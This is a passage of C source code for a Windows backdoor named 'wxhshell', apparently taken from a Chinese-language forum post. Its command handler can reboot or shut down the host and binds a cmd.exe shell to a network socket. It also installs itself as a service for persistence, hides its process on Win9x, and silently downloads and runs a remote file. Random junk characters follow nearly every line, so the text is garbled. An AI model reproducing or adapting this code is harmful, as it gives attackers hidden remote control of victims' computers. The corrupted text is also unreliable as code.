  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5#2vSq!H  
  else 1/#N{rZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c\;} ov+  
  } }.T$bj1B;V  
  else { Box,N5AA  
9Z+@i:_}  
    switch(cmd[0]) { m9PcDhv  
  Js=|r;'  
  // 帮助 ;G},xDGO_m  
  case '?': { p.l]% \QI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !J:DBtGT  
    break; OEAF.  
  } ]j{S' cz  
  // 安装 5T8!5EcS*  
  case 'i': { Dri1A%  
    if(Install()) }xdI{E1 q)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jR/X}XQtY  
    else 2%@j<yS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kbMIMZC/G  
    break; [e&$4l IS  
    } pH"LZ7)DI0  
  // 卸载 IGB>8$7  
  case 'r': { 3]c<7vdl  
    if(Uninstall()) ~F' $p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \!YPht  
    else nFB;!r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -D(Ubk Pw  
    break; !w/~dy  
    } 2{#quXN9  
  // 显示 wxhshell 所在路径 6DR8(j)=[%  
  case 'p': { !'[sV^ ds  
    char svExeFile[MAX_PATH]; wCI.jGSBW  
    strcpy(svExeFile,"\n\r"); i_=P!%,  
      strcat(svExeFile,ExeFile); FS@SC`~(  
        send(wsh,svExeFile,strlen(svExeFile),0); *y0`P0V|8  
    break; 8a05`ZdP  
    } \<PX'mnO  
  // 重启 @D60  
  case 'b': { 'wQ=b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sJ0y3)PQ  
    if(Boot(REBOOT)) # =322bnO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zD?$O7 |ZK  
    else { }7C{:H2d  
    closesocket(wsh); zg5 u  
    ExitThread(0); s!+?) bB  
    } lI5{]?'  
    break; S`*al<m  
    } a}Ov @7  
  // 关机 WQ*$y3%  
  case 'd': { 0` S!+d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =1esUO[nx  
    if(Boot(SHUTDOWN)) qi)(\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c?opVbJB\  
    else { _zpn+XVdQ  
    closesocket(wsh); i3Ffk+ |b  
    ExitThread(0); ? `w ~1  
    } rzO:9# d  
    break; Gpgi@ Uf  
    } .z{7 rH  
  // 获取shell = tog<7  
  case 's': { c`t1:%S  
    CmdShell(wsh); 4 5Ql7~  
    closesocket(wsh); {`3;Pd`  
    ExitThread(0); De^is^{  
    break; #~#_) \l'F  
  } nxH$$}9  
  // 退出 r^ "mPgY  
  case 'x': { yDyq. -Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V*)6!N[5  
    CloseIt(wsh); {$s:N&5  
    break; r] ]Ke_s!  
    } ~q1s4^J  
  // 离开 @L~y%#  
  case 'q': { '17=1\Ss6;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~pF'Qw" z|  
    closesocket(wsh); o+tY[UX  
    WSACleanup(); &bL1G(}  
    exit(1); "@f`O  
    break; DL~LSh  
        } 4$|G$h  
  } @*_K#3  
  } 0<s)xaN>Y  
P/ y-K0u  
  // 提示信息 o%|1D'f^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -(59F  
} pr m  
  } _>aesp%  
JTb<uC  
  return; 9j,zaGD0  
} )kd)v4#  
xQD#; 7  
// shell模块句柄 #h&?wE>  
int CmdShell(SOCKET sock) `QkzWy~V3  
{ (Q'XjN\#  
STARTUPINFO si; OE[/sv  
ZeroMemory(&si,sizeof(si)); '@W72ML.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I@z{G r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y0b.utR&  
PROCESS_INFORMATION ProcessInfo; Og&2,`Jb  
char cmdline[]="cmd"; hm5<_(F!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $@U`zy"Y  
  return 0; f{)*"  
} 2GD%=rP2]  
G?"1 z;  
// 自身启动模式 KcrF=cA  
int StartFromService(void) *|jqRfa"  
{ '2 )d9_ w  
typedef struct uUJ2d84tV  
{ wJgM.V"yb  
  DWORD ExitStatus; e)iVX<qb  
  DWORD PebBaseAddress; o2.! G  
  DWORD AffinityMask; 7'o?'He-.2  
  DWORD BasePriority; i@p?.%K{  
  ULONG UniqueProcessId; yy>4`_  
  ULONG InheritedFromUniqueProcessId; 6F<L4*4U  
}   PROCESS_BASIC_INFORMATION; NH?s  
BHU[Rz7x  
PROCNTQSIP NtQueryInformationProcess; 7O{\^Jz1  
zJV4)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xCQ<G{;C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^6`R:SV4Gx  
%] Bb;0G  
  HANDLE             hProcess; EU\1EBT^  
  PROCESS_BASIC_INFORMATION pbi; @4Y>)wn&;  
? &1?uc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sF|lhLi  
  if(NULL == hInst ) return 0; PEBQ|k8g&  
cis ~]x%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zxj!ihs<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T @z$g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (V+(\<M  
6znm?s@~  
  if (!NtQueryInformationProcess) return 0; -x RsYYw  
C f+O7Y`^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SGbo|Xe7:  
  if(!hProcess) return 0; 6qw_|A&g  
GRs;-Jt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sC}/?^q  
$]hf2Yr(  
  CloseHandle(hProcess); *JDc1$H0  
'N}Wo}1r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hMDyE.X-  
if(hProcess==NULL) return 0; ~L1N1Z)Kk  
5 )C~L]  
HMODULE hMod; p;'vOb  
char procName[255]; %ZxKN;  
unsigned long cbNeeded; =6 [!'K  
bM!`C|,[s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kp99y  
/ )EB~|4']  
  CloseHandle(hProcess); O35f5Kz  
:3G9YjzC}  
if(strstr(procName,"services")) return 1; // 以服务启动 G/D{K$=t~  
\myc n/e  
  return 0; // 注册表启动 ]-q:Z4rb  
} [F>zM  
n%O`K{86  
// 主模块 L Y M`  
int StartWxhshell(LPSTR lpCmdLine) ]:f1r8<3p  
{ .)o5o7H  
  SOCKET wsl; c.XLEjV|  
BOOL val=TRUE; 6s uc0  
  int port=0; g>Z1ZK0;M  
  struct sockaddr_in door; o]FQ)WRB  
zzxU9m~"  
  if(wscfg.ws_autoins) Install(); d#W[<,  
WRnUF[y+)  
port=atoi(lpCmdLine); :DZiDJ@  
iUO5hdOM  
if(port<=0) port=wscfg.ws_port; O-|3k$'\z  
DnTM#i:  
  WSADATA data; m]%cNxS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;J _d%  
h0gT/x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^.4<#Qs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4x3`dvfp/  
  door.sin_family = AF_INET; S }|ea2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `?>OY&(  
  door.sin_port = htons(port); ;P{ *'@  
OO@$jXZB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :r6 bw  
closesocket(wsl); E6US  
return 1; k4|YaGhf  
} W}e5 4-lu  
?LW1D+  
  if(listen(wsl,2) == INVALID_SOCKET) { [m"X*Z F  
closesocket(wsl); i.#s'm.9  
return 1; q80?C.,`  
} &oR&NKk  
  Wxhshell(wsl); =l\D7s  
  WSACleanup(); ;m\(fW*ii  
ND`~|6yb  
return 0; oo qNPLa  
)h/fr|  
} Ufk7%`  
c2i^dNp_  
// 以NT服务方式启动 4v{gc/g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n. T [a  
{ r9QNE>UG  
DWORD   status = 0; 7_|zMk.J*  
  DWORD   specificError = 0xfffffff; y<gmp  
6Y=$7%z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Coyop#q#"{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "B\qp"N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s5[ Cr"q7B  
  serviceStatus.dwWin32ExitCode     = 0; *AJW8tIP  
  serviceStatus.dwServiceSpecificExitCode = 0; a]Lr<i8#%  
  serviceStatus.dwCheckPoint       = 0; uXp0D$a  
  serviceStatus.dwWaitHint       = 0; VMNihx0FJ  
U_!6pqFc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h  qxe  
  if (hServiceStatusHandle==0) return; {>~|xW  
d6Z;\f7[  
status = GetLastError(); ^y?? pp<1J  
  if (status!=NO_ERROR) 9iv!+(ni  
{ *f,EDSN1@d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &< ~`?-c  
    serviceStatus.dwCheckPoint       = 0; F &uU ,);  
    serviceStatus.dwWaitHint       = 0; z7GLpTa  
    serviceStatus.dwWin32ExitCode     = status; }96^OQPE  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q!@" Y/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YUc&X^O  
    return; <8'}H`w%  
  } yYW>)  
C^ uXJ~8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k6$.pCH6  
  serviceStatus.dwCheckPoint       = 0; VkUMMq{  
  serviceStatus.dwWaitHint       = 0; eE7+fMP{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uv Z!3UH.  
} ;]'mx  
k/*r2 C  
// 处理NT服务事件,比如:启动、停止 \[Q,>{^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0Pbv7)=XL  
{ 3p")  
switch(fdwControl) t.3b\RV[  
{ uN'e~X6  
case SERVICE_CONTROL_STOP: Y68oBUd_E  
  serviceStatus.dwWin32ExitCode = 0; l].dOso$`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c!j$ -Ovm  
  serviceStatus.dwCheckPoint   = 0; )f,iey\-  
  serviceStatus.dwWaitHint     = 0; 3Ju<jXoo!  
  { Z?dz@d%C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kJ{X5&,_  
  } >12phLu  
  return; 7RDfhKdb  
case SERVICE_CONTROL_PAUSE: cbNrto9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;QS-a  
  break; >DPC}@Wl  
case SERVICE_CONTROL_CONTINUE: XZ}]H_, n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &pV'/  
  break; 8L^5bJ  
case SERVICE_CONTROL_INTERROGATE: AYfW}V"  
  break; KP%A0   
}; 5hg:@i',  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R8sj>.I9j  
} &KmV tj  
%;~Vc{Xxt/  
// 标准应用程序主函数 >2tYw,m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $@s&qi_&R  
{ Mnc9l ^  
lmf vT}$B  
// 获取操作系统版本 %`?IY<  
OsIsNt=GetOsVer(); tDJtsOL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M2l0x @|  
]MKW5Kq  
  // 从命令行安装 xk7 MMRb  
  if(strpbrk(lpCmdLine,"iI")) Install(); (p>?0h9[  
j]Kpwf<NS  
  // 下载执行文件 p(=}Qqdr8  
if(wscfg.ws_downexe) { Nawph  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ark~#<SqAr  
  WinExec(wscfg.ws_filenam,SW_HIDE); JZ3CCf  
} C0(?f[/(M  
m<}>'D T  
if(!OsIsNt) { NwP!.  
// 如果时win9x,隐藏进程并且设置为注册表启动 B]iPixA6  
HideProc(); XYj!nx{k,  
StartWxhshell(lpCmdLine); >pdWR1ox  
} qQ6rF nA  
else 42]hX9E  
  if(StartFromService()) |qm_ESzl  
  // 以服务方式启动 tpPP5C{  
  StartServiceCtrlDispatcher(DispatchTable); 41Ga-0p  
else 79`OB##  
  // 普通方式启动 4} .PQ{  
  StartWxhshell(lpCmdLine); kD;1+lNz  
Fj;];1nt  
return 0; JJe8x4  
}
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只看该作者 1 发表于: 2006-10-10
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